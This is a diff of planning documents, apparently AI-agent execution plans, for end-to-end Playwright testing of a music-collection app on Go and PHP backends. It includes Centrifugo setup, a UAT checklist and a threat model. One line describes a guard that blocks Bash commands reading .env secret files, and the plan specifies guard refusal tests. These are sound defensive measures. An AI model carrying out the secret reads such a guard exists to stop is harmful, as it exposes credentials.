+- From plan 02: `bash ../fonoteka.go/scripts/dev-stack.sh up --detach | down | status | check | e2e <spec...> | e2e-verdict <file>`. `e2e` exports `E2E_BACKEND=go`, `E2E_GO_BIN`, `E2E_GO_DIR`, `E2E_BACKEND_URL=http://127.0.0.1:8423`, `E2E_FRONTEND_URL=http://localhost:3119`, `E2E_CENTRIFUGO=1`, `E2E_EMAIL` / `E2E_PASSWORD` and the `NUXT_*` Go values, unsets `CI`, runs Playwright with the JSON reporter and fails on any skip.
+- From plan 01: `fonoteka:dev-seed` (idempotent, D-04 creds fallback `demo@example.com` / `changeme`); uploads served at `/storage/app/uploads/public/...` through the framework mount.
+- Existing helpers: `fonotekaReachable()` (tests/e2e/helpers/fonotekaReachable.ts) probes `${E2E_BACKEND_URL}/_fonoteka/api/v1/albums` and accepts 200 or 401; gate pattern in `fonoteka-item.spec.ts`: `test.skip(!(await fonotekaReachable()), ...)` plus the E2E creds skip.
+- Auth: JWT in the JS-readable `auth_token` cookie; API calls carry `Authorization: Bearer <token>`. Specs read the cookie from `page.context().cookies()` and call `page.request` on the Nuxt origin (`/_fonoteka/api/v1/...`, proxied, same-origin). Store endpoints (app/stores/fonoteka.ts): `POST /albums/{id}/photos` (multipart), `PUT /albums/{id}/rating` `{ rating }`, `DELETE /albums/{id}`, `DELETE /wishlist/albums/{id}`; read the store's album create call for the create body.
+- Selectors (verified in app/): `album-edit` (pages/albums/[id]/index.vue), `album-name` (AlbumDraftFields.vue), `album-save` (AlbumForm.vue), `rating-stars` (RatingStars.vue), `albums-search-input` (pages/albums/index.vue), `` wishlist-item-${album.id} `` and `wishlist-item-remove` (WishlistGrid.vue), page `/wishlist/new`; the cover file input in `AlbumCoverGallery.vue` (`type="file" accept="image/*"`); `PNG_1PX` buffer pattern in `fonoteka-ai-assist.spec.ts`.
+- Realtime client (app/composables/useCentrifugo.ts, useRealtimeSync.ts): `centrifuge` JSON protocol over `NUXT_PUBLIC_CENTRIFUGO_WS_URL`; after connect the layout resolves `GET /realtime/channels` → `{ data: { collection } }` and subscribes to that `collection:` channel. The acting user's own echo is delivered over the socket but does not refresh the UI, so the spec asserts on WebSocket frames, not on a UI refresh. Until the D-23 operator step, the shared Centrifugo has no `collection` namespace, so that subscribe reply carries `error` code 102 (`unknown channel`) on Go and on PHP alike.
+- From plan 02 (D-23): `dev-stack.sh check` prints `warn: centrifugo does not allow origin http://localhost:3119 ...` and one `warn: centrifugo namespace <ns> missing ...` line per namespace among `user`, `collection`, `wishlist` that the shared Centrifugo does not define, probed read-only through the HTTP API `history` call; it exits 0 when it printed only warnings. The README documents the namespace snippet.
+- The Bash secret-read guard blocks commands naming `.env` files other than templates; Playwright and Nuxt read them by themselves.
+</interfaces>
+</context>
+
+## Artifacts this phase produces
+
+(This plan's share.)
+
+- `tests/e2e/helpers/runTinker.ts`: Go branch in `backendAvailable()`, `runTinker()` and `seedE2EFixtures()`, driven by `E2E_BACKEND`, `E2E_GO_BIN`, `E2E_GO_DIR` (read at call time).
+- `tests/e2e/auth.setup.ts`: Go-only seed call before login.
+- `tests/e2e/.env.example`: documented `E2E_BACKEND`, `E2E_GO_BIN`, `E2E_GO_DIR`.
+- New specs `album-edit-rate-cover.spec.ts`, `album-search.spec.ts`, `wishlist.spec.ts`; rewritten `realtime.spec.ts` (tests `realtime baseline: albums page boots` and `realtime live: collection publication reaches the socket`).
+- `.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md`.
+
+## Assumptions
+
+- The developer's `tests/e2e/.env.local` holds E2E credentials of a PHP user; Go runs use the exported values from `dev-stack.sh`, which win over dotenv.
+- The album create body is the one `app/stores/fonoteka.ts` sends; the executor reads it rather than guessing.
+- Assumption A6 of the research (rewriting `realtime.spec.ts` is acceptable) is settled by D-21.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1 (tracer): `E2E_BACKEND=go` seed switch, and the existing core specs pass on the Go stack with zero skips</name>
+  <files>/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example</files>
+  <read_first>/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/fonotekaReachable.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/playwright.config.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/session-recovery.test.mjs (contract style), ../fonoteka.go/scripts/dev-stack.sh (exec and e2e exports), .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (Q1, Q2, Pattern 6, G5, G7)</read_first>
+  <action>Per D-14 (additions only; PHP lines stay byte-identical, no reformatting).
+
+`runTinker.ts`: a small `goMode()` reading `process.env.E2E_BACKEND === 'go'` at call time (not at module load, so the plan 04 contract test can toggle it), and `goDir()` returning `E2E_GO_DIR` or `path.resolve(path.dirname(E2E_GO_BIN), '..')`. In Go mode: `backendAvailable()` returns true only when `E2E_GO_BIN` is set and executable (`fs.accessSync` with `X_OK`); `runTinker()` throws an Error saying PHP tinker is unavailable with `E2E_BACKEND=go` and naming `seedE2EFixtures()`; `seedE2EFixtures()`, placed before the E2E_EMAIL check because the Go seed has its own D-04 fallback, throws when `E2E_GO_BIN` is missing and otherwise runs `execFileSync(E2E_GO_BIN, ['fonoteka:dev-seed'], { cwd: goDir(), env: { ...process.env }, stdio: 'inherit' })`, letting a non-zero exit throw (fail closed, unlike the PHP warn-and-return path). Extend the header comment with the Go mode.
+
+`auth.setup.ts`: at the start of the setup body, `if (process.env.E2E_BACKEND === 'go') seedE2EFixtures()` (import from `./helpers/runTinker`); nothing else changes.
+
+`tests/e2e/.env.example`: a commented block documenting `E2E_BACKEND=go`, `E2E_GO_BIN=/path/to/fonoteka.go/bin/fonoteka`, `E2E_GO_DIR=/path/to/fonoteka.go`, and that `fonoteka.go/scripts/dev-stack.sh e2e` sets all three; placeholders only.
+
+Commit inside the vue-fonoteka-app repository with explicit paths. Do not commit or bump the pointer in the PHP fonoteka superproject.</action>
+  <verify>
+    <automated>bash ../fonoteka.go/scripts/dev-stack.sh up --detach &amp;&amp; bash ../fonoteka.go/scripts/dev-stack.sh e2e auth.setup.ts login.spec.ts smoke.spec.ts fonoteka-item.spec.ts i18n.spec.ts public-share.spec.ts</automated>
+    <fails_when>Non-zero exit; a "refuse:" line; the printed counts show skipped greater than 0, unexpected greater than 0, flaky greater than 0 or expected 0.</fails_when>
+    <automated>pnpm --dir /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app test:contracts</automated>
+    <fails_when>Non-zero exit, or the node --test summary line "# fail" shows a number other than 0.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c "E2E_BACKEND" /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts` prints at least 1, and `grep -c "'fonoteka:dev-seed'" /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts` prints 1.
+    - `git -C /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app diff HEAD~1 -- tests/e2e/helpers/runTinker.ts | grep -c '^-[^-]'` prints 0 (additions only; no PHP line removed or reformatted).
+    - `grep -c "E2E_BACKEND === 'go'" /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts` prints 1.
+    - `grep -c 'E2E_GO_BIN' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example` prints at least 1.
+    - `git -C /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app diff --name-only HEAD~1 -- app` prints nothing.
+  </acceptance_criteria>
+  <done>The Playwright setup seeds the Go stack through `fonoteka:dev-seed`, and login, smoke, album create, i18n and public share pass against Go with no skipped test.</done>
+</task>
+
+<task type="checkpoint:human-action" gate="blocking">
+  <name>Task 2: operator adds the Nuxt origin and the `collection` / `wishlist` namespaces to the shared Centrifugo</name>
+  <read_first>../fonoteka.go/README.md (§ Running locally with the Nuxt app, Centrifugo step), .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md (D-18, D-23)</read_first>
+  <action>Per D-18 and D-23, the operator edits `/etc/centrifugo/config.json` (Centrifugo v6 key names) in one sitting, keeping every existing entry:
+1. `client.allowed_origins` array: append `"http://localhost:3119"` and `"http://127.0.0.1:3119"`.
+2. `channel.namespaces` array (the one that already holds `presence`, `gxv`, `golemxv`, `user`, `family`, `drzewo`, `chat`, `friends`, `video`, `wave`): append the two objects `{"name": "collection", "allow_subscribe_for_client": true}` and `{"name": "wishlist", "allow_subscribe_for_client": true}`. Give them no `subscribe_proxy_enabled`, no proxy and no other option (dev-grade, D-23); production namespace authorization stays Phase 20's concern.
+3. Validate with `sudo centrifugo checkconfig --config=/etc/centrifugo/config.json`, then run `sudo systemctl restart centrifugo`.
+The executor never reads, prints or edits that file and never restarts the service; it only runs `dev-stack.sh check` before and after.</action>
+  <instructions>
+    Claude has already: built and started the Go stack, confirmed Centrifugo is reachable with the API key from the dev env file, and run `bash ../fonoteka.go/scripts/dev-stack.sh check`, which printed `warn: centrifugo does not allow origin http://localhost:3119` plus `warn: centrifugo namespace collection missing` and `warn: centrifugo namespace wishlist missing` (the `history` probe answered `102 unknown channel` for both).
+    The one human step: the shared Centrifugo config is root-owned (mode 600, owner http) and serves the PHP apps too, so per D-18 the script never edits it. Adding two origins only widens the allow list, and the two new namespaces carry no proxy and touch no existing namespace, so PHP realtime keeps working (D-23). The exact snippet is in the README section "Running locally with the Nuxt app". `checkconfig` must pass before the restart: a broken JSON edit would take realtime down for every app on the instance.
+  </instructions>
+  <verification>`bash ../fonoteka.go/scripts/dev-stack.sh check` exits 0 and prints no `warn: centrifugo does not allow origin` line and no `warn: centrifugo namespace` line.</verification>
+  <acceptance_criteria>
+    - `bash ../fonoteka.go/scripts/dev-stack.sh check 2>&amp;1 | grep -c 'does not allow origin'` prints 0.
+    - `bash ../fonoteka.go/scripts/dev-stack.sh check 2>&amp;1 | grep -c '^warn: centrifugo namespace'` prints 0 (D-23: `user`, `collection` and `wishlist` all defined).
+    - `bash ../fonoteka.go/scripts/dev-stack.sh check > /dev/null 2>&amp;1; test $? -eq 0` exits 0.
+  </acceptance_criteria>
+  <resume-signal>Type "centrifugo updated" once the origins and both namespaces are in, `checkconfig` passed and Centrifugo restarted, or describe the problem.</resume-signal>
+</task>
+
+<task type="auto">
+  <name>Task 3: backend-agnostic specs for edit, rate, cover, search and wishlist, plus the realtime rewrite, green on Go and on PHP</name>
+  <precondition>Task 2 is done (D-18, D-23): `dev-stack.sh check` prints no Centrifugo origin warning and no `warn: centrifugo namespace` line.</precondition>
+  <files>/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts, .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md (PHP-unavailable branch only)</files>
+  <read_first>/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/fonoteka-item.spec.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/fonoteka-ai-assist.spec.ts (PNG_1PX), /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/responsive.spec.ts (albums-search-input), /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/stores/fonoteka.ts (album create, photos, rating, wishlist calls), /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/pages/albums/[id]/index.vue, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/components/fonoteka/AlbumCoverGallery.vue, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/components/fonoteka/RatingStars.vue, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/components/fonoteka/WishlistGrid.vue, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/pages/wishlist/new.vue, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/composables/useCentrifugo.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/app/composables/useRealtimeSync.ts, .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (Q1 flow-to-spec map, self-seeding rule, G6, G8)</read_first>
+  <action>Per D-11, D-16 and D-21. Shared rules for all four files: gate exactly like `fonoteka-item.spec.ts` (`test.skip` when `fonotekaReachable()` is false or E2E creds are missing, so PHP CI keeps its behaviour); create data through the UI or `page.request` on the Nuxt origin with the Bearer token from the `auth_token` cookie and a `Date.now()` suffix in every name; remove everything the spec created in a `finally` block or `afterEach`; confirm each `data-testid` with a grep of `app/` before using it; wait with `expect.poll`, `waitForResponse` or locator assertions, never fixed sleeps; never log the token.
+
+`album-edit-rate-cover.spec.ts`: create an album through the API, open `/albums/{id}`; edit: `album-edit`, fill `album-name` with a new unique name, `album-save`, expect the new name on the page; rate: click a star in `rating-stars`, wait for the 2xx `PUT .../albums/{id}/rating`, reload, expect the rating shown; cover: `setInputFiles` on the gallery's file input with an in-memory PNG (the `PNG_1PX` pattern), wait for the 2xx `POST .../albums/{id}/photos`, then expect an `img` whose `src` contains `/storage/app/uploads/public/` with `naturalWidth > 0` (D-03 through the proxy).
+
+`album-search.spec.ts`: create a uniquely named album through the API, open `/albums`, type the unique part into `albums-search-input`, `expect.poll` until a tile with that name is visible (15 s max), then clear and expect the list back.
+
+`wishlist.spec.ts`: open `/wishlist/new`, add an entry with a unique name through the form, expect `` wishlist-item-<id> `` visible, click its `wishlist-item-remove`, confirm if the UI asks, expect it gone.
+
+`realtime.spec.ts` (D-21, full rewrite, no old test IDs): test `realtime baseline: albums page boots` (always runs when gated in): `/albums` answers 200 and no `pageerror` fires. Test `realtime live: collection publication reaches the socket` (`test.skip` unless `E2E_CENTRIFUGO === '1'`): register `page.on('websocket')` for URLs containing `/connection/websocket` before navigating; open `/albums`; parse every received frame as one or more newline-separated JSON messages; expect a reply carrying `connect`; expect a sent `subscribe` whose `channel` starts with `collection:` and its reply without `error` (when the reply carries one, fail with a message naming the error code and, for 102 `unknown channel`, the D-23 namespace step in the fonoteka.go README); then create an album through the API and expect a received message whose `push.channel` starts with `collection:` and carries `pub` within 15 s; delete the album. These are Centrifugo protocol frames, the same for both backends.
+
+PHP cross-check (D-11): after the Go run, stop the Go stack. Start PHP from `/media/nvme/dev/golem15/fonoteka` with `php artisan serve --host=127.0.0.1 --port=8422` in the background, wait up to 30 s, run the second verify command, then stop PHP. That command first probes PHP: `GET http://127.0.0.1:8422/_fonoteka/api/v1/albums`, the endpoint `fonotekaReachable()` uses, must answer 200 or 401 with an `X-Powered-By: PHP` header. It then takes one of two branches.
+- **Branch A, PHP answers.** Playwright runs the five specs against PHP. Nuxt starts from the app's own PHP-targeted `.env`. `e2e-verdict` must accept the report, and the command prints `PHP-PASSED`.
+- **Branch B, PHP cannot be started on this machine.** Before running the verify, add a section to `14.2-UAT.md` headed exactly `## PHP cross-check (Task 3): deferred`. It holds the startup error, the probe result and the manual PHP check: the same five specs, which the developer runs at Task 4 item 11. The verify then only confirms that the section exists and prints `PHP-DEFERRED`.
+
+Branch B is never reported as a PHP pass, and nothing is skipped silently. The task record and the plan SUMMARY state "PHP cross-check deferred to Task 4 item 11", and the plan is complete only when item 11 is marked pass.
+
+Commit in the vue-fonoteka-app repository; no file under `app/` changes (D-20).</action>
+  <verify>
+    <automated>bash ../fonoteka.go/scripts/dev-stack.sh up --detach &amp;&amp; bash ../fonoteka.go/scripts/dev-stack.sh e2e auth.setup.ts realtime.spec.ts album-edit-rate-cover.spec.ts album-search.spec.ts wishlist.spec.ts</automated>
+    <fails_when>Non-zero exit; a "refuse:" line; the printed counts show skipped greater than 0, unexpected greater than 0, flaky greater than 0 or expected 0.</fails_when>
+    <automated>bash ../fonoteka.go/scripts/dev-stack.sh down &amp;&amp; U=.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md &amp;&amp; R="${TMPDIR:-/tmp}/php-e2e-14.2.json" &amp;&amp; H="$(curl -s -m 5 -o /dev/null -D - http://127.0.0.1:8422/_fonoteka/api/v1/albums || true)" &amp;&amp; if printf '%s\n' "$H" | grep -qE '^HTTP/[0-9.]+ (200|401)' &amp;&amp; printf '%s\n' "$H" | grep -qi '^x-powered-by: *php'; then rm -f "$R"; env -u CI -u E2E_BACKEND E2E_FRONTEND_URL=http://localhost:3119 E2E_BACKEND_URL=http://localhost:8422 E2E_CENTRIFUGO=1 PLAYWRIGHT_JSON_OUTPUT_NAME="$R" pnpm --dir /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app exec playwright test auth.setup.ts realtime.spec.ts album-edit-rate-cover.spec.ts album-search.spec.ts wishlist.spec.ts --project=chromium --reporter=json > /dev/null; bash ../fonoteka.go/scripts/dev-stack.sh e2e-verdict "$R" &amp;&amp; echo PHP-PASSED; else grep -qF '## PHP cross-check (Task 3): deferred' "$U" &amp;&amp; echo 'PHP-DEFERRED: PHP not startable here; manual PHP run due at Task 4 item 11'; fi</automated>
+    <fails_when>Branch A (the :8422 probe answered 200 or 401 with `X-Powered-By: PHP`): fails on a non-zero exit, i.e. `e2e-verdict` refused the PHP report because it is missing or shows skipped greater than 0, unexpected greater than 0, flaky greater than 0 or expected 0, or when the output lacks `PHP-PASSED`. Branch B (the probe failed, PHP not startable): fails on a non-zero exit, i.e. 14.2-UAT.md lacks the `## PHP cross-check (Task 3): deferred` section. A zero exit printing `PHP-DEFERRED` is not a pass. The task is recorded as "PHP cross-check deferred to Task 4 item 11", and the plan is not complete until item 11 passes.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'realtime-status\|realtime-degraded' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts` prints 0.
+    - `grep -c 'connection/websocket' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts` prints at least 1.
+    - `grep -l 'fonotekaReachable' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts | wc -l` prints 4.
+    - `grep -l 'Date.now()' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts | wc -l` prints 3.
+    - `grep -c '/storage/app/uploads/public/' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts` prints at least 1.
+    - `grep -rc 'waitForTimeout' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts` prints 0 for each file.
+    - `git -C /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app log -2 --name-only --format= -- app` prints nothing.
+  </acceptance_criteria>
+  <done>Edit, rate, cover upload, search, wishlist add/remove and realtime each have a self-seeding spec that passes on Go, and the stale realtime spec is gone. On PHP the specs either pass (`PHP-PASSED`) or, when PHP cannot be started here, sit in 14.2-UAT.md as deferred to Task 4 item 11 (`PHP-DEFERRED`), never reported as passed.</done>
+</task>
+
+<task type="checkpoint:human-verify" gate="blocking">
+  <name>Task 4: checklist-driven manual session against the Go stack, recorded as 14.2-UAT.md</name>
+  <read_first>.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md (D-13), ../fonoteka.go/README.md (§ Running locally with the Nuxt app), .planning/phases/14.1-oauth-identities-and-fonoteka-me-routes/14.1-VERIFICATION.md (evidence style)</read_first>
+  <what-built>The local stack: `bash ../fonoteka.go/scripts/dev-stack.sh up --detach` is running (Claude starts it before this checkpoint) with Nuxt on http://localhost:3119 and Go on 127.0.0.1:8423; logs in `fonoteka.go/tmp/dev-stack/go.log` and `nuxt.log`. Log in with the E2E credentials from the dev env file, or `demo@example.com` / `changeme`.</what-built>
+  <how-to-verify>
+    In a normal browser at http://localhost:3119, tick each item (D-13):
+    1. Login succeeds and lands outside /login.
+    2. Browse collections: open the collection switcher and the collection page; the seeded "Moja kolekcja" lists Kind of Blue, Blue Train and Mingus Ah Um, each with its cover image visible.
+    3. Browse albums: open an album detail page.
+    4. Search: type "Mingus" in the albums search; the album appears; `grep -c 'album search engine failed' ../fonoteka.go/tmp/dev-stack/go.log` prints 0.
+    5. Edit: change an album's name and save; the new name shows after reload.
+    6. Rate: set a star rating; it persists after reload.
+    7. Cover upload: add a photo to an album; it shows on the page.
+    8. Wishlist: add an entry on /wishlist/new, then remove it.
+    9. Realtime: with DevTools → Network → WS open on the Centrifugo socket, the reply to the `collection:` subscribe carries no `error` (no `102 unknown channel`, D-23); edit an album in a second tab; a `push` frame for the `collection:` channel arrives in the first tab.
+    10. Failures are visible: `grep -cE 'status=5[0-9]{2}' ../fonoteka.go/tmp/dev-stack/go.log` prints 0, and `curl -sI http://localhost:3119/_fonoteka/api/v1/_dev/backend` shows no `X-Powered-By: PHP` header.
+    11. PHP cross-check (D-11). If Task 3 printed `PHP-PASSED`, mark this item `n/a (automated in Task 3: PHP-PASSED)`. If Task 3 printed `PHP-DEFERRED`, 14.2-UAT.md has a `## PHP cross-check (Task 3): deferred` section. Start PHP on :8422 yourself, run the five specs listed there against it and report the counts. The item passes only on a run with no skipped, unexpected or flaky test. A failed run, or one not done, keeps the plan open.
+    Claude then writes `.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md` with each item as pass or fail plus your notes, the date, the Go and Nuxt commits tested, and commits it as a planning doc. Any fail becomes a Go fix first (D-11), with a parity case where a recorded PHP response exists.
+  </how-to-verify>
+  <acceptance_criteria>
+    - `.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md` exists and lists all eleven items with a pass or fail each. Item 11 may instead read `n/a`, but only when Task 3 printed `PHP-PASSED`.
+    - When 14.2-UAT.md contains `## PHP cross-check (Task 3): deferred`, item 11 is marked pass and records the developer's PHP run counts. Otherwise the plan stays open (D-11).
+    - `grep -ci 'realtime' .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md` prints at least 1.
+  </acceptance_criteria>
+  <resume-signal>Type "approved" with any notes, or list the failing items.</resume-signal>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Playwright process → Go binary | The seed helper executes a binary path taken from the environment |
+| Specs → developer databases (Go and PHP) | Specs write and delete real rows |
+| Spec code → logs and reports | Bearer tokens are handled in test code |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.2-14 | Tampering | `runTinker.ts` PHP path | high | mitigate | Additions only, Go branch behind `E2E_BACKEND === 'go'` read at call time; diff gate on removed lines; plan 04 contract test pins the PHP argv and snippets |
+| T-14.2-15 | Information Disclosure | E2E credentials and the `auth_token` Bearer in specs | medium | mitigate | Credentials from env only; the token is read from the cookie jar and only set as a request header; never logged or attached to reports |
+| T-14.2-16 | Tampering | developer data in the PHP and Go databases | medium | mitigate | Every created row has a `Date.now()` name and is deleted by the spec; specs never edit or delete pre-existing rows |
+| T-14.2-SC | Tampering | npm installs | high | mitigate | No install: `@playwright/test` and node built-ins already in the app |
+
+ASVS L1; the high threat is mitigated with a test-backed control.
+</threat_model>
+
+<verification>
+- Go gate subset (D-15) green through `dev-stack.sh e2e` with zero skips; the PHP run of the new and rewritten specs green through `e2e-verdict` (`PHP-PASSED`), or, when PHP cannot be started, the `## PHP cross-check (Task 3): deferred` section in 14.2-UAT.md with Task 4 item 11 marked pass by the developer's PHP run.
+- `pnpm --dir /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app test:contracts` green.
+- `git -C /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app status --porcelain -- app` prints nothing.
+- 14.2-UAT.md committed with every D-13 item.
+</verification>
+
+<success_criteria>
+- Every core flow named in D-13 has an automated spec that passes against Go.
+- The same specs pass against PHP (D-11), and no app source changed.
+- The operator step for Centrifugo (origins and the `collection` / `wishlist` namespaces, D-18 and D-23) is done, `check` prints no Centrifugo warning, and the manual session is on record.
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-03-SUMMARY.md` when done
+</output>

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-04-PLAN.md

@@ -0,0 +1,263 @@
+---
+phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
+plan: 04
+type: execute
+wave: 4
+depends_on: ["14.2-01", "14.2-02", "14.2-03"]
+files_modified:
+  - scripts/check-phase14.2.sh
+  - ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go
+  - modules/surf/uploads_test.go
+  - modules/surf/accesslog_test.go
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs
+autonomous: true
+requirements: [QA-05]
+estimate:
+  tokens: 240000
+  raw_tokens: 240000
+  tasks: 3
+  confidence: low  # uncalibrated (factor 1, sample_count 0); last plan of the phase per the project rule and D-17
+must_haves:
+  truths:
+    - "Per D-17 and D-22 (the last plan, project rule), `bash scripts/check-phase14.2.sh --all` runs `go vet ./...` and `go test ./...` in summercms.go and in the fonoteka.go workspace, the named phase tests through a skip-intolerant detector, the docs checks, the parity corpus, the Nuxt contracts, the guard refusal cases and the Go-gate Playwright subset, and its last line is `Phase 14.2 gate passed`."
+    - "Per D-02 and D-17, `TestDevSeedRefusesProduction` proves an unset SUMMER_ENV, `production`, `development`, `testing` and `staging` are refused before any connection attempt, while `local` and `dev` pass the gate; `TestDevSeedIdempotent` proves a second run adds no row and prints `unchanged` for every entity; `TestDevSeedShape` proves the user, context collection, three albums with one stored cover blob each, wishlist entry, rating, `inv_` token row and `search_use_typesense = true`."
+    - "Per D-04 (edge: empty), `TestDevSeedShape` proves the `demo@example.com` / `changeme` fallback when E2E_EMAIL and E2E_PASSWORD are empty, and a `DEV_SEED_API_TOKEN` without the configured prefix is refused."
+    - "Per D-05 and research G1, `TestDevSeedOpensDatabase`, `TestReindexOpensDatabase` and `TestCommandsOpenDatabase` run the seed, `fonoteka:reindex`, `fonoteka:oauth-client` and `fonoteka:prune-notifications` on an app with no published database and prove each publishes its own handle (seeded slugs non-empty, so the OnDatabase hooks ran) and never prints `database is not configured`."
+    - "Per D-09, D-10 and D-17, `TestDevMarkerRoute` proves the marker answers 200 with exactly `backend`, `app`, `env` and `Cache-Control: no-store` for `local` and `dev`, carries no auth middleware, is absent from the route table and 404 for `production`, `development` and `testing`, and does not appear in `parity/manifest.yaml`."
+    - "Per D-19, `TestUploadsMount` proves the key off registers no route; the key on serves a public blob with its content type and `X-Content-Type-Options: nosniff`, answers HEAD, and 404s an `is_public = false` row, a missing row, a traversal path and an unpublished bucket or database; a plugin route under the prefix fails BuildRouter."
+    - "Per D-12, `TestAccessLog` proves the key off logs nothing; the key on logs the matched pattern and status for 200, 404-from-handler and a recovered panic (500), the raw path without query only for an unmatched request, the pattern behind a locale-prefixed path, an integer `duration_ms`, never a query string, header or Authorization value, and keeps `http.ResponseController` flushing working."
+    - "Per D-09 and D-17 (edge: boundary, adjacency), `--guard` feeds planted env files to `dev-stack.sh guard` and requires a `refuse:` line and a non-zero exit for an origin on :8422, an unset internal origin, mismatched origins, `https://plytarium.com`, a fake server that answers with `X-Powered-By: PHP/8.5.10`, and a fake marker reporting another backend."
+    - "Per D-13, D-15 and research G7, `--e2e` runs the gate specs through `dev-stack.sh e2e` and fails on any skipped, unexpected or flaky test or zero expected tests; the D-15 report-only specs (`fonoteka-ai-assist`, `fonoteka-bulk-add`, `offline`, `registration-invitation`, `responsive`, `landing`) are run and their counts printed without blocking."
+    - "Per research G8 and D-12, `--e2e` fails when `tmp/dev-stack/go.log` contains `album search engine failed` or a 5xx status record after the gate run."
+    - "Per D-06, `--e2e` fails closed when Postgres, Typesense or Centrifugo is unreachable (the `dev-stack.sh` refusal propagates) and never turns a missing service or a missing Docker daemon into a skip."
